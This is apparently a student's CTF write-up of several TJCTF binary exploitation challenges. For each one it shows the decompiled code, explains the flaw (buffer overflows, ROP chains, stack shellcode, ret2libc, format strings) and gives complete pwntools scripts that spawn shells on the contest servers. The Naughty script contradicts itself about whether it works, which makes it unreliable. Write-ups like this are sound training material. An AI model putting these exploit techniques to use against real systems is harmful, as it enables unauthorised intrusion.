I played tjctf with interlake high school cyber (ihscy) and it was tons of fun working with new people on interesting problems. I learned a lot of binary exploitation techniques this ctf as it was one of the first were I was both able to exploit them and focused on it instead of web. Working with Ian on some of the pwns was really fun and hopefully I’ll be able to have a similar experience in the future.
Tinder #
Written by agcdragon
Start swiping!
nc p1.tjctf.org 8002
First we open the binary in ghidra to look at the decompilation
char local_a8 [32];
char local_88 [64];
char local_48 [16];
char local_38 [16];
char local_28 [16];
int local_14;
undefined *local_10;
local_10 = &stack0x00000004;
local_14 = 0;
puts("Welcome to TJTinder, please register to start matching!");
printf("Name: ");
input(local_28,1.00000000);
printf("Username: ");
input(local_38,1.00000000);
printf("Password: ");
input(local_48,1.00000000);
printf("Tinder Bio: ");
input(local_88,8.00000000);
putchar(10);
if (local_14 == -0x3f2c2ff3) {
printf("Registered \'%s\' to TJTinder successfully!\n",local_38);
puts("Searching for matches...");
sleep(3);
puts("It\'s a match!");
local_18 = fopen("flag.txt","r");
if (local_18 == (FILE *)0x0) {
puts("Flag File is Missing. Contact a moderator if running on server.");
/* WARNING: Subroutine does not return */
exit(0);
}
fgets(local_a8,0x20,local_18);
printf("Here is your flag: %s",local_a8);
}
The goal is pretty obvious, set the local_14 variable to a certain value. What got me stuck for a really long time and should have been really obvious was the fact that input was not a standard c function. I was confused for a while and kept looking online for the manpage but couldn’t find anything. This was a n impotant lesson to first look at all user defined functions before trying to exploit a binary. Now, if we look at what the input function does the vulnerability is obvious.
fgets(str,(int)ROUND(f * 16.00000000),stdin);
Essentially this gets will take in f * 16
amount of bytes. For all the buffers besides bio this is a correct calculation. However, the program will take in 8 * 16 = 128
bytes for the bio buffer which is only 64 bytes. Now with this buffer overflow all we have to do is set a variable on the stack to a certain value. The concept which needs to be understood for this problem is that the buffers and variables are all stored on the stack. This means by overflowing the buffer, we are able to change the value of other variables as well. How I found the offset to the local_14 variable was by brute forcing the offset using a for loop and seeing when the flag would be printed out. I’m sure there are smarter ways but this worked for me. My final solve script is the following:
from pwn import *
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
r =remote('p1.tjctf.org', 8002)
#r = process('./tinder')
#gdb.attach(r)
r.recv()
r.sendline('A')
r.recv()
r.sendline('A')
r.recv()
r.sendline('A')
r.recv()
r.sendline('A'*116 + p32(0xC0D3D00D))
r.recv()
r.recv()
r.interactive()
Seashells #
Written by KyleForkBomb
I heard there's someone selling shells? They seem to be out of stock though...
nc p1.tjctf.org 8009
The following is the decompilation of seahsells from ghidra.
{
int iVar1;
char local_12 [10];
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("Welcome to Sally\'s Seashore Shell Shop");
puts("Would you like a shell?");
gets(local_12);
iVar1 = strcasecmp(local_12,"yes");
if (iVar1 == 0) {
puts("sorry, we are out of stock");
}
else {
puts("why are you even here?");
}
return 0;
}
Here we have a classic buffer overflow vulnerability because of the gets which let’s us overflow the local_12 buffer. Looking at the other functions in the binary, there is function called shell
. Here is the decompilation of that function:
void shell(long param_1)
{
if (param_1 == -0x2152350145414111) {
system("/bin/sh");
}
return;
}
So now our goal is obvious, call the shell function with param_1 == 0xDEADCAFEBABEBEEF
and get a shell on the system. How can we accomplish this? The first step is taking note that this is a 64 bit binary. That means the values are passed in through the registers. Specifically, the order from first to last is rdi, rsi, rdx, rcx, r8, and r9
. This means we need to get the value -0x2152350145414111
into the rdi register. In order to do this we need a simple rop chain. It should be layed out like the following: pop rdi, 0xDEADCAFEBABEBEEF
, shell. In order to find the pop rdi gadget, I use a tool called ROPGadget. By running the command ROPGadget --binary seashell | grep pop
I see that there is a pop rdi; ret
gadget at 0x0000000000400803
which I will use. The only information we need now to complete our exploit is the offset to the RIP register. I’ve explained this in a previous blogpost but essentially for 64 bit binaries, we use the cyclic(512)
function from pwntools to generate a specific sequence, then cause the program to segfault. Then by plugging in the value from RSP into cyclic_find
, we get the offset to RIP. Here is the final solve script putting it all together. You will notice an additional ret gadget which does not seemingly have a use. However, in 64 bit binaries there may be a problem with stack alignment so if your exploit seemingly should work but it just isn’t, try adding a ret gadget as the first step of the ropchain.
from pwn import *
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
r = remote('p1.tjctf.org', 8009)
#r = process('./seashell')
#gdb.attach(r)
pop_rdi = 0x0000000000400803
ret = 0x000000000040057e
r.recv()
r.recv()
payload = "A" * 18 + p64(ret) + p64(pop_rdi) + p64(0xDEADCAFEBABEBEEF) + p64(0x00000000004006c7)
r.sendline(payload)
r.interactive()
OSRS #
Written by KyleForkBomb
My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.
I don't know what any of this means but this system sure looks old! It has like zero security features enabled...
nc p1.tjctf.org 8006
The main function of this binary isn’t that meaningful. All it does is call the get_tree
function which decompiles to the following:
int iVar1;
char local_110 [256];
int local_10;
puts("Enter a tree type: ");
gets(local_110);
local_10 = 0;
while( true ) {
if (0xc < local_10) {
printf("I don\'t have the tree %d :(\n",local_110);
return 0xffffffff;
}
iVar1 = strcasecmp(*(char **)(trees + local_10 * 8),local_110);
if (iVar1 == 0) break;
local_10 = local_10 + 1;
}
return local_10;
So similar to the previous problem the vulnerability is obvious, there is a gets which gives us a buffer overflow. However, this is no win function that we can just jump to this time. After running a checksec, we see that the binary has the following protections:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
No protections at all. This typically means it is a shellcoding challenge because the NX bit is almost always on the binary exploitation problems. Looking at the decompilation, it’s clear that our goal should be to put shellcode into the local_110 buffer and jump to that by controlling RIP. The problem is that the address fo local_110 changes on each run of the program. In order to exploit this, that means we need a leak of the stack to get a sense of where we are. Fortunately, the printf print’s us the address of local_110 in decimal. This means that if we are able to read the output of the printf, then jump back to the start of the get_tree function, we will have a stack leak and have another gets call which we can overflow.
At this point, the exploit path I formulated was: overflow the buffer to make eip jump back to get_tree -> read and parse the stack leak -> put the shellcode into the buffer and overflow the buffer to set eip to the start of local_110. In practice however, this was a bit more difficult to execute beccause the address of the local_110 buffer during the second time the gets was called was different from the first time gets was called. I found this out through experimenting in GDB which was another really useful skill I learned during this ctf. Specifically the telescope
command provides a really easy way to inspect the memory at certain addresses. This helped me locate where my shellcode actually was on the buffer and it’s offset with the address which was leaked. With the analysis I did in GDB, I decided that it was best if I just set eip to leak + 0x4
and use a NOP sled so that it would execute my shellcode if I jumped anywhere near the correct address.
This is the first payload that was sent in order to set eip and obtain the leak.
r.recv()
payload = "A" * 272 # fill buffer up to control EIP
payload += p32(0x08048546) # jump back to get_tree
r.sendline(payload)
sleep(1)
r.recvline() # for remote only
leak = int(r.recvline().split("tree ")[1].split(" :(")[0].rstrip()) & 0xFFFFFFFF # get leaked address for s buffer
log.info("leak: " + hex(leak))
The leak processing code is actually pretty interesting because of the fact that the binary output the address of the stack in decimal and not hexidecimal. This was different because we needed to convert from decimal to the two’s complement hex address. Typically, it would just be a leak.rstrip().ljust(8, "\x00")
however in this case we have to do a bitwise and with 0xFFFFFFFF in order to get the correct hexidecimal representation.
The second part of the payload puts our shellcode into the buffer and jumps the program to the buffer.
r.recv()
payload = "\x90" * 100 + asm(shellcraft.i386.sh()) # setup buffer with shellcode
#payload += cyclic(412)
payload += "A" * 128 # padding to control eip
payload += p32(leak + 0x4) # jump to shellcode which is setup on the stack
log.info("jumping to: " + hex(leak + 4))
r.sendline(payload)
As you can see, I used some NOPs (\x90) so that my jump would not have to be 100% accurate but rather just be close to the start of the shellcode. Putting this all together we get the following exploit which grants us a shell.
from pwn import *
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
gdbscript = """
b printf
"""
#old address dc75
r = remote('p1.tjctf.org', 8006)
#r = process('./osrs')
#gdb.attach(r, gdbscript = gdbscript)
r.recv()
payload = "A" * 272 # fill buffer up to control EIP
payload += p32(0x08048546) # jump back to get_tree
r.sendline(payload)
sleep(1)
r.recvline() # for remote only
leak = int(r.recvline().split("tree ")[1].split(" :(")[0].rstrip()) & 0xFFFFFFFF # get leaked address for s buffer
log.info("leak: " + hex(leak))
r.recv()
payload = "\x90" * 100 + asm(shellcraft.i386.sh()) # setup buffer with shellcode
#payload += cyclic(412)
payload += "A" * 128 # padding to control eip
payload += p32(leak + 0x4) # jump to shellcode which is setup on the stack
log.info("jumping to: " + hex(leak + 4))
r.sendline(payload)
r.recvline()
r.interactive()
El Primo #
Written by agcdragon
My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?
nc p1.tjctf.org 8011
The following is the main function and it looked similar to OSRS
char local_30 [32];
undefined *local_10;
local_10 = &stack0x00000004;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("What\'s my hard counter?");
printf("hint: %p\n",local_30);
gets(local_30);
return 0;
Essentially we are given are leak to the local_30 variable and then a gets which gives us a buffer overflow. I wasn’t actually able to solve this problem because I kept segfaulting, however after reading this writeup here by b4n4n4s. The problem I was facing became clear. Essentially it is similar to OSRS in that we must write shellcode and then jump to it. The problem is that the gets is in the main function and not it’s own side function. This means we need to take extra care to look at the actual assembly behind the function and understand what it is doing. The main difference with OSRS here and what b4n4n4s does in his writuep is that the goal is to set ESP to the address of the shellcode, not EIP. Furthermore, there is some interesting assembly which sets the value of ESP and we must manipulate it. The details in the writeup are pretty good but essentially we find the offset to ECX, write into that the the address of the address we want to jump to. We can use cyclic and gdb to find the offset to ECX is 32 which is what the writeup does. I will not writeup my own solution to this because the writeup does a great job but for my own reference, the final payload should look like this
offset
hint+offset+4
hint+offset+16
nop sleds
shellcode
During the CTF Ian (imyxh), wrote an exploit using a very similar idea. This challenge really taught me the importance of looking at the assembly.
Stop #
Written by KyleForkBomb
I love playing stop, but I am tired of losing. Check out my new stop answer generator!
It's a work in progress and only has a few categories, but it's 100% bug-free!
nc p1.tjctf.org 8001
Here is the decompilation of the main function
undefined8 uVar1;
ssize_t sVar2;
undefined local_118 [256];
int local_18;
int local_14;
int local_10;
int local_c;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
printf("Which letter? ");
local_10 = get_letter();
getchar();
if (local_10 == -1) {
printf("That\'s not a letter!\n");
uVar1 = 1;
}
else {
printf("\n");
local_c = 0;
while (local_c < 5) {
printf("%s\n",*(undefined8 *)(categories + (long)local_c * 8));
local_c = local_c + 1;
}
printf("\n");
printf("Category? ");
sVar2 = read(0,local_118,0x256);
local_14 = (int)sVar2;
local_118[local_14 + -1] = 0;
local_18 = get_category(local_118);
if (local_18 == -1) {
printf("\nSorry, we don\'t have that category yet\n");
}
else {
printf("\nYour answer is: %s\n",
*(undefined8 *)(answers + ((long)local_10 * 5 + (long)local_18) * 8));
}
uVar1 = 0;
}
return uVar1;
A note before I explain how I exploited this is that some other writeups performed a ret2libc attack and called system from libc on the /bin/sh value in the binary. I tried this but it wasn’t working for me but maybe I was missing a ret for stack alignment? I’m not sure. This writeup follows a more interesting direction in proposing what to do without a pop rax gadget.
The decompilation is quite long but there is a clear bufferoverflow for the local_118 as the length in decimal is 256 but it reads in 0x256 bytes which is much larger. Running checksec on the binary we see that NX is enabled which means it’s not a shellcoding challenge like the previous two challenges. Instead, this problem was interesting as we must use a ropchain to execute /bin/sh. Looking around the binary there is a user defined read
function at 0x4008E0 which just performs a syscall. So with this in mind, it looks like our goal is to setup the correct arguments for a execve syscall with parameter /bin/sh
. Fortunately the problem was even nicer and /bin/sh was a readily available string in the binary located at 0x400a1a. So, this should be easy right? We just get the correct pop gadgets and execute the execve syscall. This was true for the most part however, we lack the most important gadget, the pop rax gadget. In order to solve this, we must look at what the RAX register actually does.
This architecture guide from MIT explains x64 very well and I would recommend reading it. In the specification, we see that RAX is a temporary register and most importantly, it is used to house return values. So how can we exploit this? Well, we are given a read
function which sets EAX to 0, which is the value of the RAX register required for a read syscall. Another thing I learned this ctf is that the EAX register just represents the low bits of the RAX register, which are the same thing. Our goal is now to set the RAX register to 58 which is the value required in RAX for an execve syscall.
The idea is to use the read syscall to set the RAX register because the read syscall puts the amount of bytes read in the RAX register as a return value. We can do this by setting up our ropchain to read from stdin which has a file descriptor of 0 and writing it into an arbitrary location with rw permissions. Then we pass in 58 bytes through stdin which will set RAX to 58. In order to do this, we must look at the manage for read and see what arguments to pass in.ssize_t read(int fd, void *buf, size_t count);
are the parameters required and now we can use a ropchain to pass in the arguments. Remember that the order of arguments in the registers is rdi, rsi, rdx, rcx, r8, and r9
. First I will list the gadgets found with ROPGadget
read_func = 0x4008E0
syscall = 0x00000000004008e5
prdi = 0x0000000000400953
prsi_pr15 = 0x0000000000400951
prbx_prbp_pr12_pr13_pr14_pr15 = 0x000000000040094A
write_loc = 0x0000000000602100
bin_sh = 0x0000000000400a1a # located in memory
Next, we need to find a suitable read write location. I do this by running GDB, breaking at main, and calling vmmap
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /pwn/ctf/tjctf/stop/stop
This location looks like a suitable place for rw as it has the required permissions. I like to add 0x100 the the start location just incase some data will be stored there I do not want to corrupt it. So now we have write_loc = 0x0000000000602100
With this in mind, we craft the following ropchain. which will set the first argument to 0 in order to read from stdin, and set the second argument to write_loc which is an arbitrary location. At the end, we must pass in 58 bytes in order to set RAX but that will be sent after our entire ropchain is sent.
payload = "A" * 280
payload += p64(prdi) + p64(0x0) + p64(prsi_pr15) + p64(write_loc) + p64(0x0) # rop to set args for read function
payload += p64(read_func) # execute read function to set RAX
Now that RAX is set, which was the only register we did not have a gadget for, the rest is easy as we just need to call execve("/bin/sh")
. In order to do this, we look at the arguments required for execve: int execve(const char *pathname, char *const argv[], char *const envp[]);
Similar to the read syscall, we can set the arguments and execute the syscall.
payload += p64(prsi_pr15) + p64(0x0) + p64(0x0) + p64(prbx_prbp_pr12_pr13_pr14_pr15) + p64(0x0) + p64(0x0) + p64(0x0) + p64(0x0) + p64(0x0) + p64(0x0) + p64(prdi) + p64(bin_sh) # set args for execve
payload += p64(syscall)
Finally, we must first send the ropchain, then the read syscall will be called, so we pass in 58 bytes through stdin and we should get a shell.
r.sendline(payload)
r.recv()
r.sendline("A" * 58)
Combining all the steps the final exploit looks like this:
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "split", "-h"]
#r = remote("p1.tjctf.org", 8001)
r = process("./stop")
#gdb.attach(r)
r.recv()
r.sendline("A")
r.recvuntil("Category? ")
read_func = 0x4008E0
syscall = 0x00000000004008e5
prdi = 0x0000000000400953
prsi_pr15 = 0x0000000000400951
prbx_prbp_pr12_pr13_pr14_pr15 = 0x000000000040094A
write_loc = 0x0000000000602100
bin_sh = 0x0000000000400a1a
payload = "A" * 280
payload += p64(prdi) + p64(0x0) + p64(prsi_pr15) + p64(write_loc) + p64(0x0) # rop to set args for read function
payload += p64(read_func) # execute read function to set RAX
payload += p64(prsi_pr15) + p64(0x0) + p64(0x0) + p64(prbx_prbp_pr12_pr13_pr14_pr15) + p64(0x0) + p64(0x0) + p64(0x0) + p64(0x0) + p64(0x0) + p64(0x0) + p64(prdi) + p64(bin_sh) # set args for execve
payload += p64(syscall)
r.sendline(payload)
r.recv()
r.sendline("A" * 58)
r.interactive()
This was overall a very interesting problem and I’m not sure why my ret2libc attack failed but I’m actually pretty happy that it did because I learned more in depth about syscalls and learned how to manipulate the RAX register.
Cookie #
Written by KyleForkBomb
My friend loves cookies. In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something.
nc p1.tjctf.org 8010
Decompiling in Ghidra we see a buffer overflow of a variable
char local_58 [76];
puts("Which is the most tasty?");
gets(local_58);
There was no other obvious exploit path and NX bit was on so this seemed like a ret2libc challenge. Furthermore due to the available puts, it confirmed my suspicion that it was ret2libc. I have a previous writeup for Chirstmas CTF here where I explain how a ret2libc attack works. Essentially we call puts@plt(puts@GOT) to leak the value in the GOT address of puts. We then use a libc database to find the libc version. Finally, we can just call system(‘/bin/sh’) using code available in libc. The explanation is really similar to Christmas CTF so I won’t explain again in depth but here is my final solve script.
from pwn import *
context.terminal = ["tmux", "split", "-h"]
context.log_level = "debug"
e = ELF("cookie")
libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
# might have the wrong libc from just the puts leak, try the other libc if this one doesn't work
r = remote("p1.tjctf.org", 8010)
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc6_2.27-3ubuntu1_amd64.so")}
#r = process("./cookie")
#gdb.attach(r)
prdi = 0x0000000000400933
got_put = e.got["puts"]
plt_put = e.plt["puts"]
main = 0x0000000000400797
r.recv()
payload = "A" * 88
payload += p64(prdi) + p64(got_put) + p64(plt_put) + p64(main)
r.sendline(payload)
r.recvuntil("anymore\n")
leak = u64(r.recvline().rstrip().ljust(8, "\x00"))
log.info("leaked puts@got: " + hex(leak))
libc.address = leak - libc.sym["puts"]
log.info("libc base: " + hex(libc.address))
ret = 0x000000000040061e
system = libc.sym["system"]
binsh = next(libc.search("/bin/sh"))
payload = "A" * 88
payload += p64(ret) + p64(prdi) + p64(binsh) + p64(system)
r.recv()
r.sendline(payload)
r.interactive()
Naughty #
Written by KyleForkBomb
Santa is getting old and can't tell everyone which list they are on anymore. Fortunately, one of his elves wrote a service to do it for him!
nc p1.tjctf.org 8004
Ian (imyxh) who I played this ctf with in ihscy mainly solved this challenge and it was an interesting combination of format strings, stack cookie, and __libc_csu_fini. I will explain the overall idea but I did not manage to get my final exploit working.
The first step is to use format string to overwrite the __libc_csu_fini destructor to main while leaking both a stack address and a libc address. It would look something like this payload = fmtstr_payload(7, {_libc_csu_fini: main}) + 'mark1 %7$x' + 'mark2 %72$x'
. Then we can r.recvuntil('mark1 ')
and r.recvuntil('mark2 ')
to easily access the data leaked by the format string vulnerability. This was a trick I learned after the ctf but could come in very handy in the future. Now unfortunately, destructors only run once which means we do not loop to main infinitely, only once. However, we the information we have leaked, we can abuse the fact that there is a stack cookie. When the stack cookie is overwritten, the stack_chk_fail@GOT function is called. How we can attack this is to first overwrite stack_chk_fail to main then purposefully corrupt the stack cookie so we can loop back around the main. We know our position in the stack so overwriting the stack cookie should be easy after some analysis of the stack. In this same format string, we can overwrite printf to the address of system in libc using the libc leak we obtained earlier. This is the standard technique to get a shell we will pass in /bin/sh
into the buffer and then when it calls printf(buff)
it will really be system(buff)
which will grant us a shell. The following is my exploit which does not work but provides some insight on how to use fmtstr_payload and read the leaks. Note: THIS DOES WORK.
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "split", "-h"]
gdbscript="""
b *gets
"""
e = ELF("naughty")
libc = ELF("libc6-i386_2.27-3ubuntu1_amd64.so")
puts_got = e.got["puts"]
stack_chk_fail_got = e.got["__stack_chk_fail"]
printf_got = e.got["printf"]
r = remote("p1.tjctf.org", 8004)
#r = process("./naughty")
#gdb.attach(r, gdbscript = gdbscript)
r.recv()
# stage 1: libc leak, stack leak, set fini to main
payload = "\xC0\x9C\x04\x08%7$s\xAC\x9B\x04\x08%72$X%134513950X%9$n"
r.sendline(payload)
log.info("sent stage 1")
r.recvuntil("LIST ")
line = r.recvline()
leaked_puts = u32(line[4:8].rstrip().ljust(4, "\x00"))
leaked_stack = int("0x" + line[16:24], 16)
log.info("leaked puts: " + hex(leaked_puts))
log.info("leaked stack: " + hex(leaked_stack))
# stage 2: calculate canary, calculate libc, set canary to badvals, stackcheck to main, printf to system
canary = leaked_stack - 0x104
libc.address = leaked_puts - libc.sym["puts"]
log.info("libc base address: " + hex(libc.address))
system = libc.sym["system"]
writes = {canary: 0xFFFFFFFF}#, stack_chk_fail_got: 0x08048536, printf_got: system}
payload = fmtstr_payload(7, writes)
r.sendline(payload)
log.info("sent stage 2")
r.interactive()